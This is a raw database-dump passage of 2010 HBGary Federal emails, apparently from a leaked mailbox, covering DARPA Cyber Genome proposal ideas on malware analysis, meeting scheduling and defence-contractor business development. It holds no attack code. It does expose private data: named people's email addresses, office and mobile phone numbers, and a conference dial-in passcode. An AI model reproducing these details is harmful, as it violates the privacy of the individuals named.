aggregation and correlation of software behaviors.  Digital DNA identities individual behaviors, develop methods to analyze the correlation of behaviors and associations to other digital artifacts based on these associations.\r\n\r\nDevelop identification mechanisms for all digital artifacts.\r\nhashing algorithm for all digital objects that is comprised of its characteristics and behaviors.  Time created, size, author, originated internally or externally, etc.\r\n\r\nCategorization:  Sometimes you just need to flag as good or Bad or known and unknown.  New provenance appliances in the network that can track and vet digital artifacts as they enter and leave the network.\r\n\r\nThe idea is one would use data mining to create groupings of the data and the groups would then feed a belief network.\r\n\r\nThis would require an extra step to trend the data and identify anomolies.  These anomolies would be categorized as unknown/safe, unknown/unknown, and unknown/dangerous.  The determination on the unknown state would be based on boundary conditions.  Anyway, some thoughts on that.  I can go into more if you want.\r\n\r\n\r\n\r\n1.1.3.2  Technical Area Two: Cyber Anthropology and Sociology\r\nThis technical area will investigate the social relationships between artifacts, binaries, and/or users.  Performers will develop automated technologies to gain a revolutionary understanding of the interactions between user, software, and/or other elements on a system or systems.\r\n\r\n Examples of revolutionary technologies include but are not limited to:\r\n\r\nIdentification and/or validation of DoD users from their host and/or network behavior.   “Something you do” may augment existing identification and/or authentication technologies to discover “insiders” within DoD networks with malicious goals or objectives.\r\n\r\nPeople and systems \r\nThe sociology of users and systems.  Using swarm logic systems can compare and contrast perspectives on their working environment and come to collective decisions on automated actions.\r\n\r\nIf your talking about social relationships then you have to have reputation values for artifacts.  Believe networks are good for this, determining probabilities based on the relationship of information.\r\n\r\nBehavioral risk patterns.  Can I categorize behavioral risk not just for software (good and bad) but also for people and systems.  Again individual points can be correlated to \r\n\r\n\r\n1.1.3.3  Technical Area Three: Cyber Physiology\r\nThis technical area will investigate automated analysis and visualization of computer binary (machine language) functionality and behaviors (reverse engineering). Performers will develop technologies to conduct automated analysis of binary software of interest to assist analysts in understanding the software’s function and intent.\r\n\r\nExamples of revolutionary technologies include but are not limited to:\r\n\r\nAutomatically generated execution trees from submitted malware that include automated analysis of software dependencies.\r\nFirmware and hardware.  Making the analysis completely automatic.  can take up 1 1/2 .\r\n\r\n\r\n\r\n\r\n1.1.3.4  Technical Area Four: Other \r\nProposers may submit proposals addressing other technical areas that meet the program objective defined in Section 1.1.2.  Proposers should clearly explain how their proposed research and development address the program vision and the benefits to the DoD.  Areas may include, but are not limited to providing revolutionary technologies that support other technical areas.\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Starr, Christopher H.\" \r\n> Date: February 15, 2010 12:38:22 PM EST\r\n> To: \"Aaron Barr\" \r\n> Subject: RE: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n> \r\n> Aaron,\r\n>  \r\n> I’ve updated the invite to 3 PM Eastern.  I think we just need an hour of Greg’s time.\r\n>  \r\n> Chris\r\n>  \r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 15, 2010 11:32 AM\r\n> To: Starr, Christopher H.\r\n> Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n>  \r\n> 3 or 5pm is good.  I don\'t think I cam get Greg all day though.  I think we can have a productive meeting though.  We can get him in on the next one.  I have a 2pm mtg so this will give me some more room thanks.\r\n>  \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 15, 2010, at 11:22 AM, \"Starr, Christopher H.\"  wrote:\r\n> \r\n> Aaron,\r\n> \r\n> How about 3 pm or 5 pm today?\r\n> \r\n> Chris\r\n>  \r\n> From: Aaron Barr  \r\n> To: Starr, Christopher H. \r\n> Sent: Mon Feb 15 11:05:31 2010\r\n> Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n> \r\n> I will be on the phone at 230.  Greg won\'t be able to make it.\r\n>  \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 15, 2010, at 10:01 AM, \"Starr, Christopher H.\"  wrote:\r\n> \r\n> Aaron,\r\n> \r\n> Are you and Greg available at 2:30 pm today?\r\n> \r\n> The dial in will be\r\n> 866-765-5631, code 5057292#\r\n> \r\n> Chris\r\n>  \r\n> From: Aaron Barr  \r\n> To: Starr, Christopher H. \r\n> Sent: Mon Feb 15 09:53:23 2010\r\n> Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n> \r\n> Chris,\r\n>  \r\n> What time did we agree upon today?\r\n>  \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 12, 2010, at 4:46 PM, \"Starr, Christopher H.\"  wrote:\r\n> \r\n> Aaron,\r\n> \r\n> My last meeting is running late. I will call as soon as I can, but this may be closer to 6:00 pm.\r\n> \r\n> What is your schedule like for a follow up technical interchange meeting on Monday? Would 2:30 PM work?\r\n> \r\n> Chris\r\n>  \r\n> From: Aaron Barr  \r\n> To: Starr, Christopher H. \r\n> Sent: Fri Feb 12 14:57:44 2010\r\n> Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n> \r\n> 5pm works.\r\n> Thanks\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 12, 2010, at 2:41 PM, \"Starr, Christopher H.\"  wrote:\r\n> \r\n> Aaron,\r\n> \r\n> Can we talk at 5 pm? If I am available earlier I will call your cell phone.\r\n> \r\n> Chris\r\n>  \r\n> From: Aaron Barr  \r\n> To: Starr, Christopher H. \r\n> Sent: Fri Feb 12 14:07:50 2010\r\n> Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n> \r\n> Got a sec I can call?\r\n> \r\n> From my iPhone\r\n> \r\n> On Feb 12, 2010, at 12:51 PM, \"Starr, Christopher H.\"  wrote:\r\n> \r\n> Aaron,\r\n> \r\n> Just got your message.  We will be having our telecon to discuss our own internal ideas and we can bring you in for the Monday follow up.  If you can dial in, we will be on, but I understand you may not be able to dial in today.\r\n> \r\n> Chris\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Starr, Christopher H.\r\n> Sent: Fri Feb 12 12:44:57 2010\r\n> Subject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome BAA\r\n> \r\n> Chris my wife is stuck in a snow bank and I have to go get her and the\r\n> kids.  Is it alright to postpone until Monday?\r\n> \r\n> Aaron\r\n> \r\n>  From my iPhone\r\n> \r\n> On Feb 12, 2010, at 2:07 AM, \"Starr, Christopher H.\"   > wrote:\r\n> \r\n> > \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1985,'aaron_hbgary_com/1985.html'),(2649,'2010-02-15','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297001229.M932359P3547Q2649.eml','','FW: Panel discussion on extreme real-time system optimization','This seemed more in your respective areas of expertise and interest than mine.  Please use as you see fit.  \r\nTom\r\n\r\n-----Original Message-----\r\nFrom: larryabella@cox.net [mailto:larryabella@cox.net] \r\nSent: Sunday, February 14, 2010 1:40 PM\r\nTo: Conroy, Thomas W.\r\nSubject: Panel discussion on extreme real-time system optimization\r\n\r\nHi Tom,\r\n\r\nI have been invited to attend a discussion of what could be a disruptive technology based on cloud computing that has found application on Wall Street and other global financial centers. It is thought by some that this technology could also have significant and immediate applications in the intelligence community. \r\n\r\nAttached find  the invitation to attend the session where panel members will discuss current and potential applications, as well as a cover letter for participants and a summary by J.P. Morgan on their banking applications. This is planned to be an executive-level discussion with follow-on technical interactions at a later time as needed.\r\n\r\nIf you or someone you know would be interested in attending, just need to RSPV the contact on the invitation notice. \r\n\r\nThanks,\r\n\r\nLarry\r\n',11381,'aaron_hbgary_com/11381.html'),(2650,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001230.M185406P3547Q2650.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome 	BAA','Ok talked with Greg.  He can do anytime on Wednesday.  Is it ok we do a call today and follow up with Greg on Wednesday.AaronFrom my iPhone\r\nOn Feb 15, 2010, at 12:38 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nI’ve updated the invite to 3 PM Eastern.  I think we just need an\r\nhour of Greg’s time.\r\n\r\n \r\n\r\nChris\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 15, 2010 11:32 AM\r\nTo: Starr, Christopher H.\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n3 or 5pm is good.  I don&#39;t think I cam get Greg all day\r\nthough.  I think we can have a productive meeting though.  We can get\r\nhim in on the next one.  I have a 2pm mtg so this will give me some more\r\nroom thanks.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 11:22 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nHow about 3 pm or 5 pm today?\r\n\r\nChris\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Starr, Christopher H. \r\nSent: Mon Feb 15 11:05:31 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA \r\n\r\n\r\n\r\n\r\n\r\nI will be on the phone at 230.  Greg won&#39;t be able to\r\nmake it.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 10:01 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nAre you and Greg available at 2:30 pm today?\r\n\r\nThe dial in will be\r\n866-765-5631, code 5057292#\r\n\r\nChris\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Starr, Christopher H. \r\nSent: Mon Feb 15 09:53:23 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA \r\n\r\n\r\n\r\n\r\n\r\nChris,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWhat time did we agree upon today?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 4:46 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nMy last meeting is running late. I will call as soon as I can, but this may be\r\ncloser to 6:00 pm.\r\n\r\nWhat is your schedule like for a follow up technical interchange meeting on\r\nMonday? Would 2:30 PM work?\r\n\r\nChris\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Starr, Christopher H. \r\nSent: Fri Feb 12 14:57:44 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA \r\n\r\n\r\n\r\n\r\n\r\n5pm works.\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 2:41 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nCan we talk at 5 pm? If I am available earlier I will call your cell phone.\r\n\r\nChris\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt; \r\nTo: Starr, Christopher H. \r\nSent: Fri Feb 12 14:07:50 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber\r\nGenome BAA \r\n\r\n\r\n\r\n\r\n\r\nGot a sec I can call?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 12, 2010, at 12:51 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nJust got your message.  We will be having our telecon to discuss our own\r\ninternal ideas and we can bring you in for the Monday follow up.  If you\r\ncan dial in, we will be on, but I understand you may not be able to dial in\r\ntoday.\r\n\r\nChris\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Starr, Christopher H.\r\nSent: Fri Feb 12 12:44:57 2010\r\nSubject: Re: GD/HBGary: initial technical interchange: RE: DARPA Cyber Genome\r\nBAA\r\n\r\nChris my wife is stuck in a snow bank and I have to go get her and the\r\nkids.  Is it alright to postpone until Monday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 12, 2010, at 2:07 AM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com\r\n &gt; wrote:\r\n\r\n&gt; &lt;meeting.ics&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14121,'aaron_hbgary_com/14121.html'),(2651,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001231.M328954P3547Q2651.eml','\"Rich Cummings\" <rich@hbgary.com>','DARPA BAA','1.1.3.1  Technical Area One: Cyber Genetics \r\nThis technical area will identify the lineage and provenance of digital artifacts from the properties and behavior of the digital artifacts.  Performers will develop automated technologies to gain a revolutionary understanding of the relationships between the elements of a set of artifacts, or to place artifacts into performer-defined categories. \r\n\r\nExamples of revolutionary technologies include but are not limited to:\r\n\r\nCreation of lineage trees for a class of digital artifacts to gain a better understanding of software evolution.\r\nIdentification and categorization of new variants of previously seen digital artifacts to reduce the threat of new “zero-day” attacks that are variants of previously seen attacks. \r\nDetermination or characterization of digital artifact developers or development environments to aid in software and/or malware attribution.\r\nUse a DNA/Gene/Molecule/Protein model to categorize and catalog software based on functions and behavior.  This fits a biological model.\r\n\r\nCatalog of software functions and behavior.  Different capabilities are developed over time, code is re-used.  Enumerate as much of the software internal characteristics and observable behaviors, associations with other software, libraries.\r\n\r\nCategorize based on aggregation and correlation of software behaviors.  Digital DNA identities individual behaviors, develop methods to analyze the correlation of behaviors and associations to other digital artifacts based on these associations.\r\n\r\nDevelop identification mechanisms for all digital artifacts.\r\nhashing algorithm for all digital objects that is comprised of its characteristics and behaviors.  Time created, size, author, originated internally or externally, etc.\r\n\r\nCategorization:  Sometimes you just need to flag as good or Bad or known and unknown.  New provenance appliances in the network that can track and vet digital artifacts as they enter and leave the network.\r\n\r\nThe idea is one would use data mining to create groupings of the data and the groups would then feed a belief network.\r\n\r\nThis would require an extra step to trend the data and identify anomolies.  These anomolies would be categorized as unknown/safe, unknown/unknown, and unknown/dangerous.  The determination on the unknown state would be based on boundary conditions.  Anyway, some thoughts on that.  I can go into more if you want.\r\n\r\n\r\n\r\n1.1.3.2  Technical Area Two: Cyber Anthropology and Sociology\r\nThis technical area will investigate the social relationships between artifacts, binaries, and/or users.  Performers will develop automated technologies to gain a revolutionary understanding of the interactions between user, software, and/or other elements on a system or systems.\r\n\r\n Examples of revolutionary technologies include but are not limited to:\r\n\r\nIdentification and/or validation of DoD users from their host and/or network behavior.   “Something you do” may augment existing identification and/or authentication technologies to discover “insiders” within DoD networks with malicious goals or objectives.\r\nPeople and systems \r\nThe sociology of users and systems.  Using swarm logic systems can compare and contrast perspectives on their working environment and come to collective decisions on automated actions.\r\n\r\nIf your talking about social relationships then you have to have reputation values for artifacts.  Believe networks are good for this, determining probabilities based on the relationship of information.\r\n\r\nBehavioral risk patterns.  Can I categorize behavioral risk not just for software (good and bad) but also for people and systems.  Again individual points can be correlated to \r\n\r\n\r\n1.1.3.3  Technical Area Three: Cyber Physiology\r\nThis technical area will investigate automated analysis and visualization of computer binary (machine language) functionality and behaviors (reverse engineering). Performers will develop technologies to conduct automated analysis of binary software of interest to assist analysts in understanding the software’s function and intent.\r\n\r\nExamples of revolutionary technologies include but are not limited to:\r\n\r\nAutomatically generated execution trees from submitted malware that include automated analysis of software dependencies.\r\nimplement a virtual machine within an FPGA.  emulate api calls.  Wine project.  Not a virtual machine in .  Implementation of all the apis that are available in windows.  All the api calls are functional.  Fool the malware to running.  Put this into an FPGA, can process in mass in line.  Get the benefit of host base at line speed.\r\n\r\n1.1.3.4  Technical Area Four: Other \r\nProposers may submit proposals addressing other technical areas that meet the program objective defined in Section 1.1.2.  Proposers should clearly explain how their proposed research and development address the program vision and the benefits to the DoD.  Areas may include, but are not limited to providing revolutionary technologies that support other technical areas.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11950,'aaron_hbgary_com/11950.html'),(2652,'2010-02-15','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001231.M679753P3547Q2652.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Threat Intelligence','Aaron,\r\nGood afternoon. Hope you had a great weekend. Are you interested in a San Diego Business Development contact? My good friend, Jim Pietrocini, former CEO RL Phillips, now runs West Coast BD for Tech Teams (the company he sold RLP to a couple years ago). I think Jim\'s coming to the end of his contract with them and is considering his options. I would be happy to introduce you two.\r\n\r\nAre you submitting a response to the NWOC BAA you mentioned to me a few weeks ago? We\'ve been planning our own response and will be delivering it this week. Ray and Chris are headed to SA next week while I will be in Charleston for a SPAWAR meeting. \r\n\r\nLet\'s get together this week if you have time. Thanks\r\n\r\nJohn\r\n\r\nOn Feb 9, 2010, at 5:27 PM, Aaron Barr wrote:\r\n\r\n> Chris,\r\n> \r\n> I had a good conversation with John this morning.  We have some direct contract opportunities in front of us that I am going to bring the threat intelligence (Palantir/EGS/HBGary) concept to.\r\n> \r\n> Regarding the Aurora report we just put together.  Palantir is sending their cyber lead up to Sacramento next week to train some of our folks on Palantir and work on developing some Aurora and Agent.BTZ maps.  It would be great to include EGS data on both of these operations.  We are working on an Agent.BTZ report now since this has continued significance to the government.  The goal would be to generate these two reports to start, with a limited,  distribution to current and future customers.  I think this could have a lot of power.\r\n> \r\n> We are going to be going up to talk with Dave Luber and some other folks at the Fort in the next few weeks and it would be great to take these reports with us.\r\n> \r\n> I want to stress that the reports that would have our combined data would be limited distribution only.  No public release.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nJohn M. Farrell\r\nVice President\r\nEndgame Systems\r\n1940 Duke Street Suite 200\r\nAlexandria, VA 22314\r\n(703) 622-9025\r\n\r\n',4826,'aaron_hbgary_com/4826.html'),(2653,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001231.M868242P3547Q2653.eml','\"Greg Hoglund\" <greg@hbgary.com>','Items','Greg,\r\n\r\nTed and I are putting together a structure for incident response around the HBGary and partner tools that will be more effective and efficient than the competition.  We will levy it out to our partners (Foundstone/PwC).  Should have done this earlier but I didn\'t catch the partner angle.\r\n\r\nThe DARPA BAA gives us an opportunity to propose some far out developments of things we wouldn\'t or might not develop ourselves.  DARPA is pretty good about working with intellectual property.  Under the DARPA contract we can develop methods in a system for digital artifact analysis and categorization that can be re-used in the product.\r\n\r\nI would like to set up a demo for you for Fidelis.  I think you will immediately see the benefit of their product to your offerings and sales.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',11027,'aaron_hbgary_com/11027.html'),(2654,'2010-02-15','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001232.M256419P3547Q2655.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Threat Intelligence','Aaron,\r\nyes, i am headed to Cincinatti on Thursday. I am taking Dino, our Chief Scientist out with me to Xetron. Our meeting with Brian\'s team in Friday morning. \r\n\r\nNo worries on the BAA. This one happens to be one we have experience with, so we\'re going direct on it. The others, like the AF OSI BAA, are new opportunities to us and we\'re more inclined to collaborate with someone. Please let us know if you find others where we might team up together. I have a couple ideas on ways you might leverage our capabilities in combination with your HB Gary capabilities. We should sit down and talk about it sometime. \r\n\r\nMy calendar is flexible on Tuesday and Wed (morning meetings both days). Otherwise, see you in CIncinnati. We\'re staying at the airport Doubletree  ($64/nt on Hotwire).\r\n\r\nJohn\r\n\r\n\r\nOn Feb 15, 2010, at 1:42 PM, Aaron Barr wrote:\r\n\r\n> Hey John,\r\n> \r\n> Are you going out to Cincinatti later this week?  I think some of your folks will be out there.  I have some time tomorrow and maybe Wed. to get together (depending on when I fly to cincinatti).\r\n> \r\n> I am not planning to submit for the NWOC BAA.  Made sense if we partnered with you or someone like you.  I think we have some discriminating capabilities related to using IO methods for getting access, etc.  Also certain capabilities in development, but right now a few other priorities higher as a sole proposal.\r\n> \r\n> Aaron\r\n> \r\n> On Feb 15, 2010, at 1:25 PM, John Farrell wrote:\r\n> \r\n>> Aaron,\r\n>> Good afternoon. Hope you had a great weekend. Are you interested in a San Diego Business Development contact? My good friend, Jim Pietrocini, former CEO RL Phillips, now runs West Coast BD for Tech Teams (the company he sold RLP to a couple years ago). I think Jim\'s coming to the end of his contract with them and is considering his options. I would be happy to introduce you two.\r\n>> \r\n>> Are you submitting a response to the NWOC BAA you mentioned to me a few weeks ago? We\'ve been planning our own response and will be delivering it this week. Ray and Chris are headed to SA next week while I will be in Charleston for a SPAWAR meeting. \r\n>> \r\n>> Let\'s get together this week if you have time. Thanks\r\n>> \r\n>> John\r\n>> \r\n>> On Feb 9, 2010, at 5:27 PM, Aaron Barr wrote:\r\n>> \r\n>>> Chris,\r\n>>> \r\n>>> I had a good conversation with John this morning.  We have some direct contract opportunities in front of us that I am going to bring the threat intelligence (Palantir/EGS/HBGary) concept to.\r\n>>> \r\n>>> Regarding the Aurora report we just put together.  Palantir is sending their cyber lead up to Sacramento next week to train some of our folks on Palantir and work on developing some Aurora and Agent.BTZ maps.  It would be great to include EGS data on both of these operations.  We are working on an Agent.BTZ report now since this has continued significance to the government.  The goal would be to generate these two reports to start, with a limited,  distribution to current and future customers.  I think this could have a lot of power.\r\n>>> \r\n>>> We are going to be going up to talk with Dave Luber and some other folks at the Fort in the next few weeks and it would be great to take these reports with us.\r\n>>> \r\n>>> I want to stress that the reports that would have our combined data would be limited distribution only.  No public release.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> John M. Farrell\r\n>> Vice President\r\n>> Endgame Systems\r\n>> 1940 Duke Street Suite 200\r\n>> Alexandria, VA 22314\r\n>> (703) 622-9025\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nJohn M Farrell\r\nVP Federal \r\nEndgame Systems\r\n75 5th Street Suite 208\r\nAtlanta, GA 30308\r\njohn@endgames.us\r\n\r\n\r\n\r\n',9039,'aaron_hbgary_com/9039.html'),(2655,'2010-02-15','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001232.M431740P3547Q2656.eml','\"Aaron Barr\" <aaron@hbgary.com>','Business Plan Data','Aaron,\r\n\r\nCan you send me any .ppt that you have on this?  I am working through\r\nthe business plan and need some imput.\r\n\r\nThanks billt\r\n\r\n',9105,'aaron_hbgary_com/9105.html'),(2656,'2010-02-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001232.M51459P3547Q2654.eml','\"John Farrell\" <john@endgames.us>','Re: Threat Intelligence','Hey John,\r\n\r\nAre you going out to Cincinatti later this week?  I think some of your folks will be out there.  I have some time tomorrow and maybe Wed. to get together (depending on when I fly to cincinatti).\r\n\r\nI am not planning to submit for the NWOC BAA.  Made sense if we partnered with you or someone like you.  I think we have some discriminating capabilities related to using IO methods for getting access, etc.  Also certain capabilities in development, but right now a few other priorities higher as a sole proposal.\r\n\r\nAaron\r\n\r\nOn Feb 15, 2010, at 1:25 PM, John Farrell wrote:\r\n\r\n> Aaron,\r\n> Good afternoon. Hope you had a great weekend. Are you interested in a San Diego Business Development contact? My good friend, Jim Pietrocini, former CEO RL Phillips, now runs West Coast BD for Tech Teams (the company he sold RLP to a couple years ago). I think Jim\'s coming to the end of his contract with them and is considering his options. I would be happy to introduce you two.\r\n> \r\n> Are you submitting a response to the NWOC BAA you mentioned to me a few weeks ago? We\'ve been planning our own response and will be delivering it this week. Ray and Chris are headed to SA next week while I will be in Charleston for a SPAWAR meeting. \r\n> \r\n> Let\'s get together this week if you have time. Thanks\r\n> \r\n> John\r\n> \r\n> On Feb 9, 2010, at 5:27 PM, Aaron Barr wrote:\r\n> \r\n>> Chris,\r\n>> \r\n>> I had a good conversation with John this morning.  We have some direct contract opportunities in front of us that I am going to bring the threat intelligence (Palantir/EGS/HBGary) concept to.\r\n>> \r\n>> Regarding the Aurora report we just put together.  Palantir is sending their cyber lead up to Sacramento next week to train some of our folks on Palantir and work on developing some Aurora and Agent.BTZ maps.  It would be great to include EGS data on both of these operations.  We are working on an Agent.BTZ report now since this has continued significance to the government.  The goal would be to generate these two reports to start, with a limited,  distribution to current and future customers.  I think this could have a lot of power.\r\n>> \r\n>> We are going to be going up to talk with Dave Luber and some other folks at the Fort in the next few weeks and it would be great to take these reports with us.\r\n>> \r\n>> I want to stress that the reports that would have our combined data would be limited distribution only.  No public release.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> John M. Farrell\r\n> Vice President\r\n> Endgame Systems\r\n> 1940 Duke Street Suite 200\r\n> Alexandria, VA 22314\r\n> (703) 622-9025\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3056,'aaron_hbgary_com/3056.html'),(2657,'2010-02-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001232.M641519P3547Q2657.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Board of advisors','Don\'t really have one.  Is it a board member or a technical advisory board\r\nmember?  We don\'t have D&O insurance so that could be a show stopper, it\'s\r\nvery expensive and many board members require it.  Then there is\r\ncompensation, many of these guys make 6 figures as a board member, so we\r\nshould probably look at that.  You should find out his requirements\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 5:28 PM\r\nTo: Greg Hoglund; Penny Leavy\r\nSubject: Board of advisors\r\n\r\nGreg/penny,\r\n\r\nWhat is the process for evaluating and accepting a new board member?\r\n\r\nI am thinking of art money.  He could be very helpful.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n',61,'aaron_hbgary_com/61.html'),(2658,'2010-02-15','\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>','/aaron@hbgary.com/new/1297001237.M125212P3547Q2658.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Emailing: Integrated Cyber Defense & Support Technologies - Federal Business Opportunities Opportunities.mht','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron,\r\n\r\n&nbsp;\r\n\r\nIf all goes well at the airport, Kevin is en-route to Sacramento\r\n(by way of Nashville, then San Francisco&#8230;).&nbsp;&nbsp; Can you send him your cell #?\r\n\r\n&nbsp;\r\n\r\nThanks again,\r\n\r\n\r\n\r\nMike Henderson\r\n\r\n513-881-3424 (office)\r\n\r\n513-364-9068 (mobile)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, February 12, 2010 9:55 PM\r\nTo: Gibbs, Kevin (Xetron)\r\nCc: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron)\r\nSubject: Re: Emailing: Integrated Cyber Defense &amp; Support\r\nTechnologies - Federal Business Opportunities Opportunities.mht\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry Kevin...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPalantir session is all day on the 16th at the Sacramento\r\nHBGary 